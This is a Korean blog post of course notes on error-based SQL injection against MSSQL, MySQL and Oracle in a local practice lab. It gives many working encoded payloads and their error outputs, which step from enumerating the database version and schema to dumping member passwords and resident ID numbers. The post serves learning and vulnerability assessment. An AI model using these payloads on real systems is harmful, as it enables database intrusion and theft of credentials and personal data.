본문 바로가기
정보보안/모의해킹

모의해킹 강의(SQL Injection Part1) 8 ERROR-BASED

by IT매니절 2024. 10. 24.

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

강의주소 :  https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard

 

error-based 공격이란
DBMS 에러 내 공격자가 의도한 데이터를 반환하여 정보를 얻는 방법
해당 정보는 추후 공격에 사용됨

DBMS별 차이점
MSSQL (형변환 특이점)
1=@@version
1=0/@@version
1=convert(int, @@version)

MYSQL (특정 함수들, 그룹키 중복 활용)
extractvalue(0x0a, concat(0x0a,@@version))
updatexml(0x0a, concat(0x0a,@@version),0x0a)
(select 1 from(select count(*), concat(@@version, floor(rand(0)*2))as a from(select 1 union select 2 union select 3)x group by a))x)

ORACLE (패키지 함수들)
UTL_INADDR.GET_HOST_NAME((select banner from v$version where rownum=1))
UTL_INADDR.GET_HOST_ADDRESS((select banner from v$version where rownum=1))

+블라인드나 유니온의 경우 dbms별 큰 차이점이 없음

 

 

MS SQL의 형변환
1) 명시적 형변환
함수를 통해 수동 형변환
ex) convert(int, '1')

2) 묵시적 형변환
우선순위가 높은 쪽으로 자동 형변환
ex) 1='1' 일 때 char가 int로 형변환

 

형변환 실패시 구문오류 에러 발생하고 시도한 형변환 내용이 에러 메시지로 노출된다
이 때 시도한 형변환 내용을 통해 공격자가 원하는 내용을 출력시켜 정보를 노출한다

 

 

 

MS SQL 실습

Repeater에서 진행

 

기본정보 목록화 : 버전, 사용자, 현재 db명

search_type=title&keyword=test%25'+and+1=1+and+'%25'='
=> 우선 공격구문 완성. 인코딩된 상태 ( test%' and 1=1 and '%'=' )
search_type=title&keyword=test%25'+and+1='tttt'+and+'%25'='
=> message: varchar �� 'tttt'��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�. (severity 16) in <b>C:\APM_Setup\htdocs\board\mssql\index.php
에러메시지에 'tttt'가 고스란히 노출되었다
search_type=title&keyword=test%25'+and+1=@@version+and+'%25'='
=> message: nvarchar �� 'Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) 
Oct  8 2022 05:58:25 
Copyright (C) 2022 Microsoft Corporation
Express Edition (64-bit) on Windows 10 Pro 10.0 &lt;X64&gt; (Build 19045: )
'��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�. (severity 16) in <b>C:\APM_Setup\htdocs\board\mssql\index.php에러메시지에 version이 노출되었다

search_type=title&keyword=test%25'+and+1=system_user+and+'%25'='
=> message: nvarchar �� 'sa'��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�. (severity 16) in <b>C:\APM_Setup\htdocs\board\mssql\index.php
유저 sa
search_type=title&keyword=test%25'+and+1=db_name()+and+'%25'='
=> message: nvarchar �� 'board'��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�. (severity 16) in <b>C:\APM_Setup\htdocs\board\mssql\index.php
현재 데이터베이스는 board 이다

 

 

메타데이터 목록화 : 순차적 접근, 비순차적 접근

search_type=title&keyword=test%25'+and+6>(select+count(*)+from+master.sys.databases)+and+'%25'='
=> 숫자를 바꾸면서 넣어서 count가 몇개인지 알 수 있다. 하지만 번거롭다.
search_type=title&keyword=test%25'+and+1='%23%23'%2bconvert(char,(select+count(*)+from+master.sys.databases))+and+'%25'='
=> message: varchar �� '##5                             '��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�. (severity 16) in <b>C:\APM_Setup\htdocs\board\mssql\index.php
%23은 #을 의미하고 %2b는 +이다. '##'과 형변환한 문자형을 합친것.
그러면 에러메시지에 바로 출력할 수 있다

데이터베이스의 개수는 5개이다.

 

 

순차적 레코드
1) 정렬 order by
2) not in
3) row_number() 함수

1번은 2005버전 이상일때 error-based를 사용할 수 없으므로 배제한다

 

사용자 테이블 목록화 진행
select top 1 name from board.sys.objects where type='U' and name not in(select top 0 name from board.sys.objects where type='U')
=> Burp 에서 ctrl + u 하면

select+top+1+name+from+board.sys.objects+where+type%3d'U'+and+name+not+in(select+top+0+name+from+board.sys.objects+where+type%3d'U') 이렇게 인코딩됨

message: nvarchar �� 'tb_board'
message: nvarchar �� 'members'

=> top 0 1 까지만 값이 나온다. 두 개밖에 없어서.

 

+ 카운팅을 먼저 하고 개수가 많으면 비순차적 접근을 하는 것이 좋다

( search_type=title&keyword=test%25'+and+1='%23'%2bconvert(char,(select+count(*)+from+board.sys.objects+where+type%3d'U'))+and+'%25'='
=> message: varchar �� '#2                             '��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�. (severity 16) in <b>C:\APM_Setup\htdocs\board\mssql\index.php
카운팅 결과는 2개 )

 

select top 1 name from board.sys.columns where object_id=object_id('members') and name not in(select top 0 name from board.sys.columns where object_id=object_id('members'))
↓ 인코딩
search_type=title&keyword=test%25'+and+1=(select+top+1+name+from+board.sys.columns+where+object_id%3dobject_id('members')+and+name+not+in(select+top+0+name+from+board.sys.columns+where+object_id%3dobject_id('members')))+and+'%25'='
=> message: nvarchar �� 'idx'
message: nvarchar �� 'id'
message: nvarchar �� 'password'
message: nvarchar �� 'jumin'

members 테이블의 컬럼 4개 확인

 

select top 1 id, password, jumin from board..members;

데이터 목록화를 진행할때, dbeaver에서는 이렇게 치면 결과가 나오지만 인젝션에서는

message: ���� ������ EXISTS�� �������� ���� ��쿡�� SELECT ��Ͽ��� ���� �ϳ��� ������ �� �ֽ��ϴ�. (severity 16) in <b>

이렇게 에러메시지가 떠버린다. 정황상 컬럼이 여러개여서 에러가 나는 것 같다

그렇다면? concat을 이용해 합쳐준다. 또는 연결연산자로 합쳐줘도 된다.

 

search_type=title&keyword=test%25'+and+1=

↓ 인코딩

(select+top+1+concat(id,',',password,',',jumin)+from+board..members)+and+'%25'='
=> message: varchar �� 'tkworld,1q2w3e4r,870405-1285264'

 

콤마를 구분자로 잘 나오는 것이 확인되니 데이터목록화를 마저 진행해준다

select top 1 concat(id,',',password,',',jumin) from board..members where id not in(select top 0 id from board..members)

↓ 인코딩

search_type=title&keyword=test%25'+and+1=(select+top+1+concat(id,',',password,',',jumin)+from+board..members+where+id+not+in(select+top+0+id+from+board..members))+and+'%25'='

=> message: varchar �� 'tkworld,1q2w3e4r,870405-1285264'

message: varchar �� 'admin,@dmin!q@w#e,810203-1023113' ...

 

서브쿼리안의 top n 숫자를 변경하면서 데이터를 출력하면 완성

 

 

 

비순차적 접근

1) 테이블

count(*) 함수 이용하여 개체가 존재하는 지 확인 

select name from board.sys.objects where type='U' and name like '%MEM%'

MEM이라는 단어를 가진 테이블을 검색한다. 하지만 인젝션에서는 무조건 하나씩 출력해야 하니까, 여기에 서브쿼리를 추가해 순차적으로 뽑아낸다

select top 1 name from board.sys.objects where type='U' and name like '%MEM%' and name not in (select top 0 name from board.sys.tables where type='U' and name like '%MEM%')

 

count(*) 함수 이용하여 개체가 존재하는 지 확인

select name from board.sys.columns where object_id=object_id('board..members')

members에 해당하는 컬럼 목록을 검색한다

역시 하나씩 출력해야 하므로 서브쿼리를 추가한다

select top 1 name from board.sys.columns where object_id=object_id('board..members') and name not in(select top 0 name from board.sys.columns where object_id=object_id('members'))

 

2) 컬럼

select object_name(object_id, db_id('board')), name from board.sys.columns where object_id in(select object_id from board.sys.objects where type='U') and name like '%jumin%'

jumin이라는 단어를 포함하는 컬럼을 검색한다

서브쿼리를 이용해 순차적으로 뽑고 concat으로 합치기

select top 1 concat(object_name(object_id, db_id('board')),',',name) from board.sys.columns where object_id in(select object_id from board.sys.objects where type='U') and name like '%jumin%' and name not in (select top 0 name from board.sys.columns where object_id in(select object_id from board.sys.objects where type='U') and name like '%jumin%')

 

실제로 데이터를 던져본다

search_type=title&keyword=test%25'+and+1=(select+top+1+concat(object_name(object_id,+db_id('board')),',',name)+from+board.sys.columns+where+object_id+in(select+object_id+from+board.sys.objects+where+type%3d'U')+and+name+like+'%25jumin%25'+and+name+not+in+(select+top+0+name+from+board.sys.columns+where+object_id+in(select+object_id+from+board.sys.objects+where+type%3d'U')+and+name+like+'%25jumin%25'))+and+'%25'='

=> message: nvarchar �� 'members,jumin'

 

join을 이용할 경우
select top 1 concat(a.name,',',b.name) from board.sys.objects a, board.sys.columns b where a.object_id=b.object_id and a.type='U' and b.name like '%jumin%' and b.name not in (select top 0 b.name from board.sys.objects a, board.sys.columns b where a.object_id=b.object_id and a.type='U' and b.name like '%jumin%')

순차적으로 출력할 수 있다

 

강의와 달리 아쉽게도 url에서의 injection은 성공이 안 되었다 그냥 다 존재하지 않는 게시글로 튕겨버림...

 

 

 

 

MYSQL 실습
공격 페이로드를 깊게 이해할 필요는 없다고 함

?idx=4+and 1=1
?idx=4+and 1=2
?idx=4+and 1='
injection 가능여부, 에러노출 확인

?idx=extractvalue(0x0a,concat(0x0a,@@version))
?idx=updatexml(1,concat(0x01,@@version),1) 

=> XPATH syntax error: '
5.1.41-community'

 

?idx=(select+1+from(select+count(*),+concat(%40%40version,+floor(rand(0)*2))as+a+from(select+1+union+select+2+union+select+3)x+group+by+a)x)

=> Duplicate entry '5.1.41-community1' for key 'group_key'


버전정보 노출이 되었다

 

데이터베이스 목록화

카운팅하기

select count(*) from information_schema.schemata

총 5개가 나왔다

 

select SCHEMA_NAME from information_schema.schemata limit 0,1
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+SCHEMA_NAME+from+information_schema.schemata+limit+0,1)))
=> information_schema'
board'
login_example'
mysql'
phpmyadmin'

 

테이블 목록화

카운팅하기

select count(*) from information_schema.tables where TABLE_SCHEMA='board'

select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='board' limit 0,1
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+TABLE_NAME+from+information_schema.tables+where+TABLE_SCHEMA%3d'board'+limit+0,1)))
=> members'
tb_board'

 

여기서 주요정보는 members로 선택

 

컬럼 목록화

카운팅하기

select count(*) from information_schema.columns where TABLE_NAME='members'

select COLUMN_NAME from information_schema.columns where TABLE_NAME='members' limit 0,1
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+COLUMN_NAME+from+information_schema.columns+where+TABLE_NAME%3d'members'+limit+0,1)))
=> didx'
id'
password'
jumin'

 

데이터 목록화

select concat(id,',',password,',',jumin) from members limit 0,1
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+concat(id,',',password,',',jumin)+from+members+limit+0,1)))
=> admin,@dmin!q@w#e,810203-102311' ... 하략

 

 

 

비순차적접근

1) 테이블

카운팅
select count(*) from information_schema.tables where table_schema='board' and table_name like '%mem%'
1개 카운팅됨
select table_name from information_schema.tables where table_schema='board' and table_name like '%mem%' limit 0,1
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+table_name+from+information_schema.tables+where+table_schema%3d'board'+and+table_name+like+'%25mem%25'+limit+0,1)))
=> members'

 

카운팅
select count(*) from information_schema.columns where table_schema='board' and table_name='members'
4개 카운팅됨
select COLUMN_NAME from information_schema.columns where table_schema='board' and table_name='members' limit 0,1
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+COLUMN_NAME+from+information_schema.columns+where+table_schema%3d'board'+and+table_name%3d'members'+limit+0,1)))
=> idx' 
id' 
password' 
jumin'

 

데이터 목록화는 순차접근과 동일

 


2) 컬럼

카운팅
select count(*) from information_schema.columns where table_schema='board' and column_name like '%jumin%'
1개 카운팅됨
select concat(table_name,',',column_name) from information_schema.columns where table_schema='board' and column_name like '%jumin%'
↓ 인코딩
?idx=extractvalue(0x0a,concat(0x0a,(select+concat(table_name,',',column_name)+from+information_schema.columns+where+table_schema%3d'board'+and+column_name+like+'%25jumin%25')))
=> members,jumin'

 

1개 카운팅이라 limit 절 생략했음. jumin컬럼이 속한 members 테이블명을 알았다.

 

이하는 테이블때처럼 테이블 컬럼 목록화 > 데이터 목록화 순으로 가면 된다.

대소문자가 들쭉날쭉한건... 디비버에서 직접 타이핑하면서 자동입력때문에 그렇다...

 

 

 

ORACLE 실습

 

공격 페이로드

UTL_INADDR.GET_HOST_NAME([DATA])
UTL_INADDR.GET_HOST_ADDRESS([DATA])
ORDSYS.ORD_DICOM.GETMAPPINGXPATH([DATA])
CTXSYS.DRITHSX.SN(1,[DATA])
CTXSYS.CTX_QUERY.CHK_XPATH([DATA],1)
SYS.DBMS_AW_XML.READAWMETADATA([DATA],'1')

 

UTL_INADDR패키지는 11g 이후로 사용 안되는 경우가 많은데 그때는 나머지 패키지를 이용하면 된다

?idx=UTL_INADDR.GET_HOST_NAME('ttt')
=> ORA-24247: network access denied by access control list (ACL)
ACL에 의해 거부되었다는 뜻. 사용 불가능.

?idx=ORDSYS.ORD_DICOM.GETMAPPINGXPATH('aa')
?idx=SYS.DBMS_AW_XML.READAWMETADATA('aa','1')
=> ORA-00904: &quot;ORDSYS&quot;.&quot;ORD_DICOM&quot;.&quot;GETMAPPINGXPATH&quot;: invalid identifier
강의와 결과가 달라서 의아함. 다른 것도 안되려나?

?idx=CTXSYS.DRITHSX.SN(1,'aaa')
?idx=CTXSYS.CTX_QUERY.CHK_XPATH('aaa',1)
=> ORA-20000: Oracle Text error:
DRG-11701: thesaurus aaa does not exist
ORA-06512: at &quot;CTXSYS.DRUE&quot;, line 160
ORA-06512: at &quot;CTXSYS.DRITHSX&quot;, line 540
ORA-06512: at line 1 in
출력확인
강사님과 환경이 미묘하게 다른지 일단 이렇게 두 개만 먹힌다

 

기본정보목록화

버전
select banner from v$version where rownum=1
?idx=CTXSYS.DRITHSX.SN(1,(select+banner+from+v$version+where+rownum%3d1))
=> ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production does not exist

사용자
select user from dual
?idx=CTXSYS.DRITHSX.SN(1,(select+user+from+dual))
=> ORA-20000: Oracle Text error:
DRG-11701: thesaurus C##TESTER does not exist

SID
select global_name from global_name
?idx=CTXSYS.DRITHSX.SN(1,(select+global_name+from+global_name))
=> ORA-20000: Oracle Text error:
DRG-11701: thesaurus XE does not exist

 

 

메타데이터 목록화

순차

select distinct owner from all_tables
=> 원래 이걸로 현재 사용가능한 사용자목록을 받아올 수 있었다
하지만 순차적 레코드를 뽑아야 하니 rownum을 써야 하는데, 문제는 distinct와 동시에 쓸 수가 없다
그래서 서브쿼리를 한 번 더 중첩한다.

카운팅
SELECT count(*) FROM (SELECT rownum r, b.owner FROM (SELECT DISTINCT owner FROM all_tables)b)a;
=> 7개
SELECT a.owner FROM (SELECT rownum r, b.owner FROM (SELECT DISTINCT owner FROM all_tables)b)a WHERE a.r=1;
=> 1부터 7까지 수행.

사용자 중 원하는 것을 선택하여 테이블 목록화한다
카운팅
SELECT count(*) FROM all_tables WHERE OWNER='C##TESTER'
=> 2개

SELECT table_name FROM all_tables WHERE OWNER='C##TESTER'
이것을 순차적 레코드 조회로 바꾸면
SELECT table_name FROM (SELECT rownum r, table_name from all_tables WHERE OWNER='C##TESTER')a WHERE a.r=1
이런 형태이며 TB_BOARD, MEMBERS를 얻음

 

 

테이블 중 원하는 것을 선택하여 컬럼 목록화한다
카운팅
SELECT count(*) FROM all_tab_columns WHERE TABLE_NAME='MEMBERS' AND owner='C##TESTER';
=> 4개

SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='MEMBERS AND owner='C##TESTER''
이것을 순차적 레코드 조회로 바꾸면
SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE TABLE_NAME='MEMBERS' AND owner='C##TESTER')a WHERE a.r=1;
이런 형태이며 IDX, ID, PASSWORD, JUMIN를 얻음

 

SELECT txt FROM (SELECT rownum r, id||','||password txt FROM MEMBERS)a WHERE a.r=1;

데이터 목록화는 카운팅 후 concat이나 || 등으로 합쳐서 출력하면 됨 대충 이런느낌

 

비순차

테이블

카운팅, 검색

SELECT count(*) FROM all_tables WHERE table_name LIKE '%MEM%'

1개

SELECT table_name FROM all_tables WHERE table_name LIKE '%MEM%'

조회하여 MEMBERS 얻음

이후는 동일하다. 테이블 컬럼 목록화하고, 데이터 목록화.

 

컬럼

카운팅, 검색

SELECT count(*) FROM all_tab_columns WHERE column_name LIKE '%JUMIN%'

1개

SELECT table_name||','||column_name data FROM all_tab_columns WHERE column_name LIKE '%JUMIN%'

MEMBERS 테이블의 JUMIN 컬럼이라는 정보를 얻음

이후는 동일하다. 컬럼 목록화하고, 데이터 목록화.

 

 

효과적으로 DBMS 에러를 발견하기 위한 방법
인프라진단이나 취약점 진단시 애플리케이션 상에서는 에러가 발생되지 않는다 (에러기반 공격이 어렵다)

어플리케이션 에러와 DBMS 에러는 다르며 중요한 것은 DBMS 에러이다
200 정상응답속에 DBMS 에러가 (사용자에게 보이지 않도록) 섞여있을 수 있다 (주석 등)
웹프록시를 통해 이러한 에러노출을 파악할 수 있다

비동기화 통신으로 ajax를 많이 사용하는데 에러가 반환될 시
브라우저에는 에러 alert만 뜨지만, 웹프록시에서는 dbms에러가 노출될 수 있다

 

또 요새는 json 데이터를 응답으로 많이 받는데 기본 설정으로는 text만 설정되어 있으므로
json데이터 응답을 받을 수가 없다
text|sjon|xml|application
이렇게 옵션을 수정해주어야 한다